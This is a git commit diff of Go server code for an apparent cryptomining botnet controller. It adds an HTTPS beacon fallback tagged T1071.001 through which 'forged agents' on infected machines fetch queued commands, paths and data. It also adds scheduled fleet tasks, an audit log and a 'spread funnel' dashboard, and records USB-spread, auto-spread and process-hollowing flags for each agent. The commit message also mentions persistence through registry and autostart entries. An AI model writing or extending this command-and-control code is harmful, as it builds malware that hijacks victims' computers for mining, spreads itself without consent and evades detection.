feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
25
server/internal/api/auth_context.go
Normal file
25
server/internal/api/auth_context.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
type contextKey string
|
||||
|
||||
const authUserKey contextKey = "auth_user"
|
||||
|
||||
func withAuthUser(r *http.Request, username string) *http.Request {
|
||||
return r.WithContext(context.WithValue(r.Context(), authUserKey, username))
|
||||
}
|
||||
|
||||
// AuthUsername returns the Basic-auth username for the current request, if any.
|
||||
func AuthUsername(r *http.Request) string {
|
||||
if r == nil {
|
||||
return ""
|
||||
}
|
||||
if u, ok := r.Context().Value(authUserKey).(string); ok {
|
||||
return u
|
||||
}
|
||||
return ""
|
||||
}
|
||||
260
server/internal/api/beacon.go
Normal file
260
server/internal/api/beacon.go
Normal file
@@ -0,0 +1,260 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
const beaconReachableWindow = 90 * time.Second
|
||||
|
||||
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
|
||||
type BeaconCommand struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines,omitempty"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
type beaconRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Stats json.RawMessage `json:"stats,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
Worker string `json:"worker_name,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
}
|
||||
|
||||
type beaconResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Commands []BeaconCommand `json:"commands"`
|
||||
}
|
||||
|
||||
type beaconResultRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Action string `json:"action"`
|
||||
Success bool `json:"success"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
func (h *WSHub) initBeaconMaps() {
|
||||
h.beaconMu.Lock()
|
||||
defer h.beaconMu.Unlock()
|
||||
if h.beaconLastSeen == nil {
|
||||
h.beaconLastSeen = make(map[string]time.Time)
|
||||
}
|
||||
if h.beaconCmdQueue == nil {
|
||||
h.beaconCmdQueue = make(map[string][]BeaconCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
|
||||
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconLastSeen[agentID] = time.Now()
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
|
||||
func (h *WSHub) ClearBeaconTransport(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
delete(h.beaconLastSeen, agentID)
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
last, ok := h.beaconLastSeen[agentID]
|
||||
h.beaconMu.Unlock()
|
||||
return ok && time.Since(last) <= beaconReachableWindow
|
||||
}
|
||||
|
||||
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
|
||||
func (h *WSHub) IsAgentReachable(agentID string) bool {
|
||||
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
|
||||
}
|
||||
|
||||
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
||||
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
||||
if !h.isAgentBeaconReachable(agentID) {
|
||||
return false
|
||||
}
|
||||
cmd := BeaconCommand{Action: action}
|
||||
if v, ok := args["tail_lines"]; ok {
|
||||
switch n := v.(type) {
|
||||
case int:
|
||||
cmd.TailLines = n
|
||||
case float64:
|
||||
cmd.TailLines = int(n)
|
||||
}
|
||||
}
|
||||
if v, ok := args["command"].(string); ok {
|
||||
cmd.Command = v
|
||||
}
|
||||
if v, ok := args["path"].(string); ok {
|
||||
cmd.Path = v
|
||||
}
|
||||
if v, ok := args["data"].(string); ok {
|
||||
cmd.Data = v
|
||||
}
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
|
||||
h.beaconMu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
cmds := h.beaconCmdQueue[agentID]
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
if cmds == nil {
|
||||
return []BeaconCommand{}
|
||||
}
|
||||
return cmds
|
||||
}
|
||||
|
||||
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
|
||||
if h.db == nil || len(statsJSON) == 0 {
|
||||
return
|
||||
}
|
||||
var stats struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
SharesSubmitted int `json:"shares_submitted"`
|
||||
SharesAccepted int `json:"shares_accepted"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(statsJSON, &stats); err != nil {
|
||||
return
|
||||
}
|
||||
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
|
||||
if sharesBad < 0 {
|
||||
sharesBad = 0
|
||||
}
|
||||
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
|
||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
"transport": "https_beacon",
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
|
||||
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" {
|
||||
http.Error(w, "agent_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
h.MarkBeaconSeen(agentID)
|
||||
if h.db != nil {
|
||||
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
||||
display := req.Hostname
|
||||
if display == "" {
|
||||
display = agentID
|
||||
}
|
||||
_ = h.db.UpsertAgent(&models.Agent{
|
||||
ID: agentID,
|
||||
Name: display,
|
||||
Wallet: req.Wallet,
|
||||
Version: req.Version,
|
||||
Status: "online",
|
||||
})
|
||||
}
|
||||
}
|
||||
h.applyBeaconStats(agentID, req.Stats)
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
||||
}
|
||||
|
||||
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
|
||||
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconResultRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" || req.Action == "" {
|
||||
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
h.MarkBeaconSeen(agentID)
|
||||
payload := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"action": req.Action,
|
||||
"success": req.Success,
|
||||
"message": req.Message,
|
||||
"transport": "https_beacon",
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
h.notifyCmdCallback(agentID, req.Action, payload)
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
|
||||
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
for _, cmd := range cmds {
|
||||
args := map[string]interface{}{}
|
||||
if cmd.TailLines > 0 {
|
||||
args["tail_lines"] = cmd.TailLines
|
||||
}
|
||||
if cmd.Command != "" {
|
||||
args["command"] = cmd.Command
|
||||
}
|
||||
if cmd.Path != "" {
|
||||
args["path"] = cmd.Path
|
||||
}
|
||||
if cmd.Data != "" {
|
||||
args["data"] = cmd.Data
|
||||
}
|
||||
_ = h.SendAgentCommand(agentID, cmd.Action, args)
|
||||
}
|
||||
}
|
||||
114
server/internal/api/beacon_test.go
Normal file
114
server/internal/api/beacon_test.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-test-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret(secret)
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-beacon-1",
|
||||
"stats": map[string]interface{}{
|
||||
"hashrate_15s": 100.0,
|
||||
"hashrate_1m": 100.0,
|
||||
"hashrate_15m": 100.0,
|
||||
},
|
||||
})
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Fatalf("missing secret: got %d", rec.Code)
|
||||
}
|
||||
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !resp.OK {
|
||||
t.Fatal("expected ok")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("q-agent")
|
||||
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
|
||||
t.Fatal("enqueue failed")
|
||||
}
|
||||
cmds := hub.dequeueBeaconCommands("q-agent")
|
||||
if len(cmds) != 1 || cmds[0].Action != "pause" {
|
||||
t.Fatalf("commands: %+v", cmds)
|
||||
}
|
||||
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
|
||||
t.Fatal("queue should be empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-cmd-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("cmd-agent")
|
||||
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
|
||||
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
|
||||
t.Fatalf("commands: %+v", resp.Commands)
|
||||
}
|
||||
}
|
||||
@@ -8,7 +8,8 @@ import (
|
||||
|
||||
// ConfigHandler handles GET/PUT for server configuration settings
|
||||
type ConfigHandler struct {
|
||||
config ConfigProvider
|
||||
config ConfigProvider
|
||||
auditSave func(username string)
|
||||
}
|
||||
|
||||
// ConfigProvider is an interface for the server config so we don't import main package
|
||||
@@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
|
||||
return &ConfigHandler{config: cp}
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) {
|
||||
h.auditSave = fn
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
@@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.auditSave != nil {
|
||||
h.auditSave(AuthUsername(r))
|
||||
}
|
||||
|
||||
// Return updated config
|
||||
h.getConfig(w, r)
|
||||
}
|
||||
|
||||
@@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
args["data"] = req.Data
|
||||
}
|
||||
|
||||
queued := false
|
||||
if id == "all" {
|
||||
if f.ws.connectedAgentCount() == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
@@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
}
|
||||
f.ws.BroadcastAgentCommand(req.Action, args)
|
||||
} else {
|
||||
if !f.ws.isAgentConnected(id) {
|
||||
if !f.ws.IsAgentReachable(id) {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "agent not connected",
|
||||
@@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
return
|
||||
}
|
||||
queued = !f.ws.isAgentConnected(id)
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
@@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
resp := map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": id,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
if queued {
|
||||
resp["queued"] = true
|
||||
resp["transport"] = "https_beacon"
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
if f.db != nil {
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{
|
||||
"action": req.Action, "command": req.Command, "path": req.Path,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
|
||||
|
||||
97
server/internal/api/fleet_ops_handler.go
Normal file
97
server/internal/api/fleet_ops_handler.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []*models.AuditEntry{})
|
||||
return
|
||||
}
|
||||
entries, err := f.db.ListAudit(50)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if entries == nil {
|
||||
entries = []*models.AuditEntry{}
|
||||
}
|
||||
writeJSON(w, entries)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []*models.FleetTask{})
|
||||
return
|
||||
}
|
||||
tasks, err := f.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if tasks == nil {
|
||||
tasks = []*models.FleetTask{}
|
||||
}
|
||||
writeJSON(w, tasks)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
var t models.FleetTask
|
||||
if err := json.NewDecoder(r.Body).Decode(&t); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if t.Name == "" || t.Action == "" || t.Trigger == "" {
|
||||
http.Error(w, "name, trigger, and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if err := f.db.UpsertFleetTask(&t); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name})
|
||||
writeJSON(w, t)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if err := f.db.DeleteFleetTask(id); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id})
|
||||
writeJSON(w, map[string]bool{"ok": true})
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
|
||||
return
|
||||
}
|
||||
since := time.Now().Add(-7 * 24 * time.Hour)
|
||||
stats, err := f.db.GetSpreadFunnelStats(since)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, stats)
|
||||
}
|
||||
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
|
||||
@@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
authCacheSet(user, pass)
|
||||
}
|
||||
|
||||
next.ServeHTTP(w, r)
|
||||
next.ServeHTTP(w, withAuthUser(r, user))
|
||||
})
|
||||
}
|
||||
|
||||
@@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
||||
r.Get("/audit", fleetHandler.GetAudit)
|
||||
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
|
||||
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
|
||||
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
|
||||
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
||||
}
|
||||
|
||||
// Shares
|
||||
@@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
})
|
||||
|
||||
// WebSocket
|
||||
|
||||
@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
||||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||
type cmdResultKey struct{ AgentID, Action string }
|
||||
|
||||
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
|
||||
type ConnectTaskRunner interface {
|
||||
RunConnectTasks(agentID, trigger string)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
@@ -122,12 +127,18 @@ type WSHub struct {
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
connectTasks ConnectTaskRunner
|
||||
mu sync.RWMutex
|
||||
|
||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||
// from an agent (used by Path Tracer orchestration).
|
||||
pendingCmdMu sync.Mutex
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
|
||||
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
|
||||
beaconMu sync.Mutex
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
|
||||
h.mu.Lock()
|
||||
h.connectTasks = r
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) ConnectedAgentIDs() []string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
ids := make([]string, 0, len(h.agents))
|
||||
for id := range h.agents {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
return ids
|
||||
}
|
||||
|
||||
func (h *WSHub) pingInterval() time.Duration {
|
||||
h.mu.RLock()
|
||||
sec := h.pingIntervalSec
|
||||
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
USBSpread: auth.USBSpread,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
workerName := auth.WorkerName
|
||||
if workerName == "" {
|
||||
workerName = auth.Worker
|
||||
}
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
OSVersion: auth.OSVersion,
|
||||
Hostname: auth.Hostname,
|
||||
MacAddress: auth.MacAddress,
|
||||
BuildID: auth.BuildID,
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
